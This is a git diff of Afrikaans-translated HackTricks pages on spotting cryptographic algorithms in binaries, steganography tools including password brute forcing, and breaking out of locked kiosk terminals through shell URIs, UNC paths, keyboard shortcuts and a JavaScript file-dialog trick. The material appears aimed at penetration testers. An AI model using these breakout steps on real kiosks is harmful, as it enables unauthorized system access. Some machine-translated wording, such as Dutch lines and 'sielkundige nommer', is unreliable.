* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Identifisering van Algoritmes
As jy eindig in 'n kode **wat skuifregte en -links, xors en verskeie rekenkundige bewerkings** gebruik, is dit baie moontlik dat dit die implementering van 'n **kriptografiese algoritme** is. Hier sal 'n paar maniere getoon word om die algoritme wat gebruik word te **identifiseer sonder om elke stap om te keer**.
As jy eindig in 'n kode **wat skuifregs en -links, xors en verskeie rekenkundige bewerkings** gebruik, is dit baie moontlik dat dit die implementering van 'n **kriptografiese algoritme** is. Hier sal 'n paar maniere getoon word om die **algoritme wat gebruik word te identifiseer sonder om elke stap om te keer**.
### API-funksies
@ -32,7 +33,7 @@ Kyk hier na die tabel van moontlike algoritmes en hul toegewysde waardes: [https
**RtlCompressBuffer/RtlDecompressBuffer**
Druk 'n gegewe buffer van data saam en maak dit weer los.
Druk 'n gegewe buffer van data saam en maak dit los.
**CryptAcquireContext**
@ -61,8 +62,8 @@ Jy kan enige van die ander konstantes soek en jy sal (waarskynlik) dieselfde res
### Data-inligting
As die kode nie enige beduidende konstante het nie, kan dit wees dat dit **inligting laai van die .data-afdeling**.\
Jy kan daardie data **toegang**, **die eerste d-woord groepeer** en daarnaar soek op Google soos ons in die vorige afdeling gedoen het:
As die kode nie enige beduidende konstante het nie, kan dit wees dat dit **inligting van die .data-afdeling laai**.\
Jy kan daardie data **toegang** en die **eerste dword groepeer** en soek daarna op Google soos ons in die vorige afdeling gedoen het:
![](<../../.gitbook/assets/image (531).png>)
@ -74,15 +75,15 @@ In hierdie geval, as jy soek na **0xA56363C6** kan jy vind dat dit verband hou m
Dit bestaan uit 3 hoofdele:
* **Inisialiseringstadium/**: Skep 'n **tabel van waardes van 0x00 tot 0xFF** (totaal 256 byte, 0x100). Hierdie tabel word gewoonlik **Substitusieboks** (of SBox) genoem.
* **Inisialiseringstadium/**: Skep 'n **tabel van waardes van 0x00 tot 0xFF** (256 byte in totaal, 0x100). Hierdie tabel word gewoonlik **Substitusieblok** (of SBox) genoem.
* **Verwarringsstadium**: Sal deur die tabel **loop** wat voorheen geskep is (loop van 0x100 iterasies, weer) en elke waarde wysig met **semi-willekeurige** byte. Om hierdie semi-willekeurige byte te skep, word die RC4-**sleutel gebruik**. RC4-**sleutels** kan **tussen 1 en 256 byte lank** wees, maar dit word gewoonlik aanbeveel dat dit meer as 5 byte is. Gewoonlik is RC4-sleutels 16 byte lank.
* **XOR-stadium**: Laastens word die platte teks of siferteks **XORed met die waardes wat voorheen geskep is**. Die funksie om te enkripteer en dekripteer is dieselfde. Hiervoor sal 'n **loop deur die geskepte 256 byte** soveel keer uitgevoer word as wat nodig is. Dit word gewoonlik herken in 'n gedekomponeerde kode met 'n **%256 (mod 256)**.
* **XOR-stadium**: Laastens word die platte teks of siferteks **XORed met die waardes wat voorheen geskep is**. Die funksie om te enkripteer en dekripteer is dieselfde. Hiervoor sal 'n **loop deur die geskepte 256 byte** uitgevoer word soveel keer as nodig. Dit word gewoonlik herken in 'n gedekomponeerde kode met 'n **%256 (mod 256)**.
{% hint style="info" %}
**Om 'n RC4 in 'n disassemblage/gedekomponeerde kode te identifiseer, kan jy kyk vir 2 lusse van grootte 0x100 (met die gebruik van 'n sleutel) en dan 'n XOR van die insetdata met die 256 waardes wat voorheen in die 2 lusse geskep is, waarskynlik met behulp van 'n %256 (mod 256)**
**Om 'n RC4 in 'n disassemblage/gedekomponeerde kode te identifiseer, kan jy kyk vir 2 lusse van grootte 0x100 (met die gebruik van 'n sleutel) en dan 'n XOR van die insetdata met die 256 waardes wat voorheen in die 2 lusse geskep is, waarskynlik met 'n %256 (mod 256)**
{% endhint %}
### **Inisialiseringstadium/Substitusieboks:** (Let op die nommer 256 wat as teller gebruik word en hoe 'n 0 in elke plek van die 256 karakters geskryf word)
### **Inisialiseringstadium/Substitusieblok:** (Let op die nommer 256 wat as teller gebruik word en hoe 'n 0 in elke plek van die 256 karakters geskryf word)
![](<../../.gitbook/assets/image (584).png>)
@ -98,8 +99,8 @@ Dit bestaan uit 3 hoofdele:
### **Kenmerke**
* Gebruik van **substitusiebokse en opsoektabelle**
* Dit is moontlik om AES te **onderskei danksy die gebruik van spesifieke opsoektabelwaardes** (konstantes). _Let daarop dat die **konstante** in die binêre lêer **gestoor** kan word _of **dinamies geskep**_._
* Gebruik van **substitusieblokke en opsoektabelle**
* Dit is moontlik om AES te **onderskei danksy die gebruik van spesifieke opsoektabelwaardes** (konstantes). _Let daarop dat die **konstante** in die binêre **gestoor kan word** of **dinamies geskep** kan word._
* Die **enkripsiesleutel** moet **deelbaar** wees deur **16** (gewoonlik 32B) en gewoonlik word 'n **IV** van 16B gebruik.
### SBox-konstantes
@ -110,7 +111,7 @@ Dit bestaan uit 3 hoofdele:
### Kenmerke
* Dit is skaars om 'n paar kwaadwillige programme te vind wat dit gebruik, maar daar is voorbeelde (Ursnif)
* Dit is skaars om kwaadwillige sagteware te vind wat dit gebruik, maar daar is voorbeelde (Ursnif)
* Dit is maklik om te bepaal of 'n algoritme Serpent is of nie gebaseer op sy lengte (uiters lang funksie)
### Identifisering
@ -124,7 +125,7 @@ Soos voorheen genoem is, kan hierdie kode binne enige dekompiler gesien word as
![](<../../.gitbook/assets/image (513).png>)
Daarom is dit moontlik om hierdie algoritme te identifiseer deur die **sielkundige nommer** en die **aanvanklike XORs** te kontroleer, 'n **baie lang funksie** te sien en sommige **instruksies** van die lang funksie te **vergelyk** met 'n implementering (soos die skuif links met 7 en die draai links met 22).
Daarom is dit moontlik om hierdie algoritme te identifiseer deur die **sielkundige nommer** en die **aanvanklike XORs** te kontroleer, 'n **baie lang funksie** te sien en sommige **instruksies** van die lang funksie te **vergelyk met 'n implementering** (soos die skuif links met 7 en die draai links met 22).
## RSA **(Asimmetriese Kriptografie)**
### Kenmerke

View file

@ -1,18 +1,19 @@
# Stego-truuks
# Stego Truuks
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hak-truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
**Probeer Hard Security Group**
@ -26,7 +27,7 @@ Ander maniere om HackTricks te ondersteun:
### **Binwalk**
'n Gereedskap vir die soek na binêre lêers vir ingeslote verborge lêers en data. Dit word geïnstalleer via `apt` en sy bron is beskikbaar op [GitHub](https://github.com/ReFirmLabs/binwalk).
'n Gereedskap om binêre lêers te soek vir ingeslote versteekte lêers en data. Dit word geïnstalleer via `apt` en sy bron is beskikbaar op [GitHub](https://github.com/ReFirmLabs/binwalk).
```bash
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
@ -34,13 +35,13 @@ binwalk --dd ".*" file # Extracts all data
```
### **Voorste**
Herstel lêers gebaseer op hul kop-en-staart-inligting, nuttig vir png-beelde. Geïnstalleer via `apt` met sy bron op [GitHub](https://github.com/korczis/foremost).
Herstel lêers gebaseer op hul opskrifte en voettekste, nuttig vir png-afbeeldings. Geïnstalleer via `apt` met sy bron op [GitHub](https://github.com/korczis/foremost).
```bash
foremost -i file # Extracts data
```
### **Exiftool**
Helps to view file metadata, beskikbaar [hier](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
Helps om lêermetadata te sien, beskikbaar [hier](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
```bash
exiftool file # Shows the metadata
```
@ -105,7 +106,7 @@ Vir web-gebaseerde onttrekking, besoek [hierdie webwerf](https://futureboy.us/st
**Bruteforce Aanval met Stegcracker:**
* Om wagwoordkraakpogings op Steghide te doen, gebruik [stegcracker](https://github.com/Paradoxis/StegCracker.git) soos volg:
* Om wagwoordkraking op Steghide te probeer, gebruik [stegcracker](https://github.com/Paradoxis/StegCracker.git) soos volg:
```bash
stegcracker <file> [<wordlist>]
```
@ -124,9 +125,9 @@ zsteg spesialiseer daarin om verskuilde data in PNG- en BMP-lêers bloot te lê.
**Stegsolve** pas verskeie kleurfilters toe om verskuilde teks of boodskappe binne beelde te onthul. Dit is beskikbaar op [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
### **FFT vir Verskuilde Inhoudsdeteksie**
### **FFT vir die Opmerking van Verskuilde Inhoud**
Fast Fourier Transform (FFT) tegnieke kan verskuilde inhoud in beelde onthul. Nuttige bronne sluit in:
Vinnige Fourier-transformasie (FFT) tegnieke kan verskuilde inhoud in beelde onthul. Nuttige bronne sluit in:
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
@ -145,17 +146,17 @@ pngcheck stego.png
```
### **Addisionele Gereedskap vir Beeldanalise**
Vir verdere verkenning, oorweeg om die volgende webwerwe te besoek:
Vir verdere verkenning, oorweeg om te besoek:
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
* [Beeld Foutvlakanalise](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
* [OpenStego](https://www.openstego.com/)
* [DIIT](https://diit.sourceforge.net/)
## **Data Ontginning uit Klanklêers**
## **Data Uithaal uit Klanklêers**
**Klanksteganografie** bied 'n unieke metode om inligting binne klanklêers te verberg. Verskeie gereedskap word gebruik om verskuilde inhoud in te bed of te onttrek.
**Klanksteganografie** bied 'n unieke metode om inligting binne klanklêers te verberg. Verskillende gereedskap word gebruik vir die inbedding of herwinning van verborge inhoud.
### **Steghide (JPEG, BMP, WAV, AU)**
@ -173,7 +174,7 @@ ffmpeg -v info -i stego.mp3 -f null -
```
### **WavSteg (WAV)**
WavSteg blink uit in die verberging en onttrekking van data binne WAV-lêers deur die gebruik van die minst betekenisvolle bit-strategie. Dit is toeganklik op [GitHub](https://github.com/ragibson/Steganography#WavSteg). Opdragte sluit in:
WavSteg blink uit in die wegsteek en onttrek van data binne WAV-lêers deur die minst betekenisvolle bit-strategie te gebruik. Dit is toeganklik op [GitHub](https://github.com/ragibson/Steganography#WavSteg). Opdragte sluit in:
```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
@ -181,15 +182,15 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
```
### **Deepsound**
Deepsound maak die versleuteling en opsporing van inligting binne klanklêers moontlik deur gebruik te maak van AES-256. Dit kan afgelaai word vanaf [die amptelike bladsy](http://jpinsoft.net/deepsound/download.aspx).
Deepsound maak dit moontlik om inligting binne klanklêers te versleutel en op te spoor met behulp van AES-256. Dit kan afgelaai word vanaf [die amptelike bladsy](http://jpinsoft.net/deepsound/download.aspx).
### **Sonic Visualizer**
'n Onbetaalbare instrument vir visuele en analitiese inspeksie van klanklêers, Sonic Visualizer kan verborge elemente onthul wat met ander metodes onopspoorbaar is. Besoek die [amptelike webwerf](https://www.sonicvisualiser.org/) vir meer inligting.
'n Onbetaalbare instrument vir visuele en analitiese inspeksie van klanklêers, Sonic Visualizer kan verborge elemente onthul wat met ander metodes onopspoorbaar is. Besoek die [ampstelike webwerf](https://www.sonicvisualiser.org/) vir meer inligting.
### **DTMF-tone - Kies-tone**
Die opsporing van DTMF-tone in klanklêers kan bereik word deur aanlyn gereedskap soos [hierdie DTMF-detektor](https://unframework.github.io/dtmf-detect/) en [DialABC](http://dialabc.com/sound/detect/index.html).
Die opsporing van DTMF-tone in klanklêers kan bereik word deur aanlynhulpmiddels soos [hierdie DTMF-detektor](https://unframework.github.io/dtmf-detect/) en [DialABC](http://dialabc.com/sound/detect/index.html).
## **Ander Tegnieke**
@ -209,22 +210,23 @@ Vir die vertaling van Braille, is die [Branah Braille Translator](https://www.br
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
**Probeer Hard Security Groep**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kyk na die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Ontsnapping uit KIOSKs
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hackingtruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte deur **steel-malware** **gekompromiteer** is.
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneem te beveg en lospryse-aanvalle te voorkom wat voortspruit uit inligtingsteel-malware.
Die primêre doel van WhiteIntel is om rekening-oorneemaksies en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
@ -35,12 +36,12 @@ Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
| Kragknoppie | Deur die toestel af en aan te skakel, kan die begin-skerm blootgestel word |
| Kragkabel | Kontroleer of die toestel herlaai wanneer die krag kortstondig afgesny word |
| USB-poorte | Verbind fisiese sleutelbord met meer snelkoppelinge |
| Ethernet | Netwerk-scan of snuif kan verdere uitbuiting moontlik maak |
| Ethernet | Netwerk skandering of snuif kan verdere uitbuiting moontlik maak |
## Kontroleer vir moontlike aksies binne die GUI-toepassing
**Gewone Dialoë** is daardie opsies van **'n lêer stoor**, **'n lêer oopmaak**, 'n lettertipe kies, 'n kleur... Die meeste van hulle sal 'n volledige Explorer-funksionaliteit **aanbied**. Dit beteken dat jy toegang tot Explorer-funksies sal hê as jy hierdie opsies kan bereik:
**Gewone Dialoë** is daardie opsies van **'n lêer stoor**, **'n lêer oopmaak**, 'n lettertipe kies, 'n kleur... Meeste van hulle sal 'n volledige Explorer-funksionaliteit aanbied. Dit beteken dat jy toegang tot Explorer-funksionaliteite sal hê as jy hierdie opsies kan bereik:
* Sluit/Sluit as
* Maak oop/Maak oop met
@ -58,7 +59,7 @@ Jy moet nagaan of jy kan:
### Opdraguitvoering
Miskien **deur 'n `Maak oop met`** opsie te gebruik\*\* kan jy 'n soort van skel uitvoer.
Miskien kan jy **deur die `Oop met`**-opsie\*\* 'n soort van skaal oopmaak/uitvoer.
#### Windows
@ -75,9 +76,9 @@ _bash, sh, zsh..._ Meer hier: [https://gtfobins.github.io/](https://gtfobins.git
* **Omgevingsveranderlikes**: Daar is baie omgevingsveranderlikes wat na 'n sekere pad wys
* **Ander protokolle**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
* **Simboliese skakels**
* **Snelkoppelinge**: CTRL+N (maak nuwe sessie oop), CTRL+R (Voer Opdragte uit), CTRL+SHIFT+ESC (Taakbestuurder), Windows+E (maak verkenner oop), CTRL-B, CTRL-I (Gunstelinge), CTRL-H (Geskiedenis), CTRL-L, CTRL-O (Lêer/Oop Dialoog), CTRL-P (Druk Dialoog), CTRL-S (Stoor As)
* **Snelkoppelinge**: CTRL+N (maak nuwe sessie oop), CTRL+R (Voer Opdragte uit), CTRL+SHIFT+ESC (Taakbestuurder), Windows+E (maak Explorer oop), CTRL-B, CTRL-I (Gunstelinge), CTRL-H (Geskiedenis), CTRL-L, CTRL-O (Lêer/Oop Dialoog), CTRL-P (Druk Dialoog), CTRL-S (Stoor As)
* Versteekte Administratiewe kieslys: CTRL-ALT-F8, CTRL-ESC-F9
* **Skel-URI's**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
* **Shell-URI's**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
* **UNC-paaie**: Paaie om aan gedeelde lêers te koppel. Jy moet probeer om aan die C$ van die plaaslike masjien te koppel ("\\\127.0.0.1\c$\Windows\System32")
* **Meer UNC-paaie:**
@ -96,7 +97,7 @@ _bash, sh, zsh..._ Meer hier: [https://gtfobins.github.io/](https://gtfobins.git
### Laai Jou Bineêre lêers af
Konsol: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
Verkenner: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Registerredigeerder: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
### Toegang tot lêersisteem vanuit die blaaier
@ -112,35 +113,35 @@ Registerredigeerder: [https://sourceforge.net/projects/uberregedit/](https://sou
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
### Kortpaaie
* Plakkerige Sleutels - Druk SHIFT 5 keer
* Muis Sleutels - SHIFT+ALT+NUMLOCK
* Hoë Kontras - SHIFT+ALT+PRINTSCN
* Wissel Sleutels - Hou NUMLOCK vir 5 sekondes
* Filter Sleutels - Hou regter SHIFT vir 12 sekondes
* WINDOWS+F1 - Windows Soek
* WINDOWS+D - Wys Skerm
* WINDOWS+E - Lanceer Windows Verkenner
* WINDOWS+R - Hardloop
* WINDOWS+U - Toeganklikheidsentrum
* WINDOWS+F - Soek
* SHIFT+F10 - Konteksmenu
* CTRL+SHIFT+ESC - Taakbestuurder
* CTRL+ALT+DEL - Spatskerm op nuwer Windows weergawes
* F1 - Hulp F3 - Soek
* F6 - Adresbalk
* F11 - Wissel volledige skerm binne Internet Explorer
* CTRL+H - Internet Explorer Geskiedenis
* CTRL+T - Internet Explorer - Nuwe Bladsy
* CTRL+N - Internet Explorer - Nuwe Bladsy
* CTRL+O - Maak Lêer Oop
* CTRL+S - Stoor CTRL+N - Nuwe RDP / Citrix
* Kleeftoets Druk SHIFT 5 keer
* Muis Toetse SHIFT+ALT+NUMLOCK
* Hoë Kontras SHIFT+ALT+PRINTSCN
* Wisseltoetse Hou NUMLOCK vir 5 sekondes
* Filter Toetse Hou regter SHIFT vir 12 sekondes
* WINDOWS+F1 Windows Soek
* WINDOWS+D Wys Skermblad
* WINDOWS+E Lanceer Windows Verkenner
* WINDOWS+R Hardloop
* WINDOWS+U Toeganklikheidsentrum
* WINDOWS+F Soek
* SHIFT+F10 Konteksmenu
* CTRL+SHIFT+ESC Taakbestuurder
* CTRL+ALT+DEL Spatskerm op nuwer Windows weergawes
* F1 Hulp F3 Soek
* F6 Adresbalk
* F11 Wissel volledige skerm binne Internet Explorer
* CTRL+H Internet Explorer Geskiedenis
* CTRL+T Internet Explorer Nuwe Bladsy
* CTRL+N Internet Explorer Nuwe Bladsy
* CTRL+O Maak Lêer Oop
* CTRL+S Stoor CTRL+N Nuwe RDP / Citrix
### Swaai
* Swaai van die linkerkant na regs om al die oop Vensters te sien, minimaliseer die KIOSK-toepassing en kry direkte toegang tot die hele bedryfstelsel;
* Swaai van die regterkant na links om die Aksiesentrum oop te maak, minimaliseer die KIOSK-toepassing en kry direkte toegang tot die hele bedryfstelsel;
* Swaai van die linkerkant na regs om al die oop Vensters te sien, minimaliseer die KIOSK-toep en kry direkte toegang tot die hele OS;
* Swaai van die regterkant na links om die Aksiesentrum oop te maak, minimaliseer die KIOSK-toep en kry direkte toegang tot die hele OS;
* Swaai in van die boonste kant om die titelbalk sigbaar te maak vir 'n toepassing wat in volledige skermmodus oopgemaak is;
* Swaai op van die onderkant om die taakbalk in 'n volledige skermtoepassing te wys.
* Swaai op van die onderkant om die taakbalk in 'n volledige skermtoep te wys.
### Internet Explorer Truuks
@ -178,14 +179,14 @@ Tik hierdie URL's om 'n Verkenner-aansig te verkry:
Kyk op hierdie bladsy vir meer inligting: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
## Blaaiers truuks
## Blaaier truuks
Rugsteun iKat weergawes:
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
Skep 'n gemeenskaplike dialoog deur JavaScript te gebruik en kry toegang tot lêerverkenner: `document.write('<input/type=file>')`\
Skep 'n gemeenskaplike dialoog met behulp van JavaScript en kry toegang tot lêerverkenner: `document.write('<input/type=file>')`\
Bron: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
## iPad
@ -193,33 +194,33 @@ Bron: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811d
### Gebare en knoppies
* Swaai op met vier (of vyf) vingers / Dubbelklik op die Huis-knoppie: Om die multitask-aansig te sien en Program te verander
* Swaai een kant of die ander met vier of vyf vingers: Om na die volgende/laaste Program te verander
* Swaai een kant of die ander met vier of vyf vingers: Om na die volgende/vorige Program te verander
* Knyp die skerm met vyf vingers / Raak die Huis-knoppie aan / Swaai op met 1 vinger van die onderkant van die skerm in 'n vinnige beweging na bo: Om by die Huis te kom
* Swaai een vinger van die onderkant van die skerm net 1-2 duim (stadig): Die dok sal verskyn
* Swaai af van die boonste kant van die skerm met 1 vinger: Om jou kennisgewings te sien
* Swaai af met 1 vinger die boonste regterhoek van die skerm: Om die beheersentrum van die iPad Pro te sien
* Swaai 1 vinger van die linkerkant van die skerm 1-2 duim: Om Vandag-aansig te sien
* Swaai vinnig 1 vinger van die middel van die skerm na regs of links: Om na die volgende/laaste Program te verander
* Druk en hou die Aan/**Af**/Slaap-knoppie by die boonste regterhoek van die **iPad +** Skuif die Skyf na **krag af** skyf heeltemal na regs: Om af te skakel
* Druk die Aan/**Af**/Slaap-knoppie by die boonste regterhoek van die **iPad en die Huis-knoppie vir 'n paar sekondes**: Om 'n krag af te dwing
* Druk die Aan/**Af**/Slaap-knoppie by die boonste regterhoek van die **iPad en die Huis-knoppie vinnig**: Om 'n skermkiekie te neem wat in die onderste linkerkant van die skerm sal verskyn. Druk beide knoppies gelyktydig baie kort asof jy hulle 'n paar sekondes vas hou, sal 'n krag af gedoen word.
* Swaai af van die boonste kant van die vertoning met 1 vinger: Om jou kennisgewings te sien
* Swaai af met 1 vinger die boonste-regterhoek van die skerm: Om die beheersentrum van die iPad Pro te sien
* Swaai 1 vinger van die linkerkant van die skerm 1-2 duim: Om die Vandag-aansig te sien
* Swaai vinnig 1 vinger van die middel van die skerm na regs of links: Om na die volgende/vorige Program te verander
* Druk en hou die Aan/**Af**/Slaap-knoppie aan die boonste-regterhoek van die **iPad +** Skuif die Skyf na **krag af** skyf heeltemal na regs: Om af te skakel
